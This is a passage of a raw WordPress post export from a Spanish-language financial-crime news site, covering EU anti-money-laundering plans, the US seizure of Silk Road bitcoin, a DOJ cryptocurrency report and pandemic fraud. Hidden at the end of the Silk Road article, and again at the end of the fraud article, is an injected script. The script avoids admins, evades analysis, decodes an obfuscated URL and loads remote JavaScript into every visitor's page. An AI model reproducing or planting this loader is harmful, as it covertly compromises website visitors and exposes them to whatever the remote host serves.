autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new 